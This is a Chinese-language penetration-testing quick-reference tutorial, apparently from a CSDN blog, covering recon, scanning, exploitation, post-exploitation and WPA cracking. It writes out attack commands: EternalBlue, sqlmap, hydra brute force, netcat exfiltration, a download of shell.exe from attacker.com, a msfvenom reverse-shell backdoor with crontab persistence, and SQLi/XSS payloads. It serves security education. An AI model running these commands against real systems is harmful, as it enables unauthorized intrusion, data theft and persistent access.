【渗透测试全流程速查指南】零基础到实战的保姆级教程（附工具清单）

【渗透测试全流程速查指南】零基础到实战的保姆级教程（附工具清单）

引用

CSDN

1.

https://blog.csdn.net/2501_90672439/article/details/145829335

本文基于权威渗透测试方法论整理，结合实战经验梳理核心步骤与工具，助你快速构建系统化攻防思维。建议收藏备用！

一、渗透测试核心流程概览

渗透测试遵循PTES标准（渗透测试执行标准），主要分为七大阶段：

1. 前期准备 → 2. 信息收集 → 3. 漏洞扫描 → 4. 漏洞利用
   → 5. 后渗透阶段 → 6. 报告编写 → 7. 修复验证

二、阶段详解与实战指令

1. 前期准备阶段

✅ 明确测试范围

• 测试类型：黑盒（无信息） / 白盒（全信息） / 灰盒（部分信息）
• 边界定义：避免对非授权系统造成影响（如生产环境）

✅ 工具与环境搭建

# 推荐渗透专用系统  
Kali Linux | Parrot Security  

# 虚拟化工具  
VirtualBox | VMware  

# 基础工具包  
Nmap（扫描） | Metasploit（漏洞利用） | Burp Suite（Web测试）    

✅ 制定规则协议

• 与客户签署授权书，明确测试时间、数据处理方式、应急响应机制

2. 信息收集（Reconnaissance）

🔍 被动侦察 - 不触发目标警报

# Whois查询域名信息  
whois example.com  

# Google Dorking挖掘敏感文件  
site:example.com filetype:pdf "confidential"  

# Shodan搜索暴露设备  
shodan host 192.168.1.1    

⚡ 主动侦察 - 直接探测目标

# 存活主机探测  
fping -a -g 192.168.1.0/24  

# 全端口扫描  
nmap -sV -p- 192.168.1.1  

# 子域名枚举  
sublist3r -d example.com    

3. 漏洞扫描与分析

🛠️ 自动化扫描工具

# Web漏洞扫描  
nikto -h http://example.com  

# 综合漏洞评估  
nessus | OpenVAS    

📊 结果处理要点

• 使用CVE数据库验证漏洞真实性
• 人工复现高危漏洞（如SQL注入、RCE）

4. 漏洞利用（Exploitation）

💥 常见攻击手法

# Metasploit利用永恒之蓝漏洞  
msfconsole  
use exploit/windows/smb/ms17_010_eternalblue  

# SQL注入自动化攻击  
sqlmap -u "http://example.com?id=1" --dbs  

# 暴力破解SSH密码  
hydra -l admin -P passwords.txt 192.168.1.1 ssh    

🔝 权限提升技巧

• Linux：运行linpeas.sh枚举提权路径
• Windows：使用winpeas.exe查找服务漏洞

5. 后渗透阶段（Post-Exploitation）

📤 数据窃取与横向移动

# Netcat传输文件  
nc -lvp 4444 > file.txt  # 攻击机  
nc -nv 192.168.1.1 4444 < file.txt  # 目标机  

# PowerShell下载文件  
Invoke-WebRequest -Uri http://attacker.com/shell.exe -OutFile C:\shell.exe    

🔄 维持持久访问

# 生成Linux后门  
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f elf > shell.elf  

# 添加定时任务  
echo "@reboot /tmp/shell.elf" >> /etc/crontab    

6. Web应用专项测试

🎯 三大高危漏洞检测

• SQL注入：' OR '1'='1 测试输入过滤
• XSS攻击：注入<script>alert(1)</script>验证输出编码
• 文件上传绕过：上传含恶意代码的.php.jpg双扩展名文件

7. 无线网络渗透

📶 WPA/WPA2破解步骤

# 启用监听模式  
airmon-ng start wlan0  

# 捕获握手包  
airodump-ng -c 6 --bssid AP:MAC -w handshake wlan0mon  

# 字典破解密码  
aircrack-ng handshake.cap -w rockyou.txt    

三、渗透测试工具大全

四、报告编写规范

1. 漏洞详情：描述 + PoC（漏洞复现截图/代码）
2. 风险评级：CVSS评分 + 业务影响分析
3. 修复建议：提供可落地的加固方案（如代码修复、配置调整）

总结与学习建议

渗透测试是“攻防对抗”与“技术迭代”并重的领域，建议：

• 定期更新知识库（关注CVE、Exploit-DB）
• 参与CTF比赛与靶场演练（如Hack The Box）
• 遵守法律法规，仅对授权目标进行测试

“知其攻，方能守其固” —— 愿这份速查表助你在安全之路稳步进阶！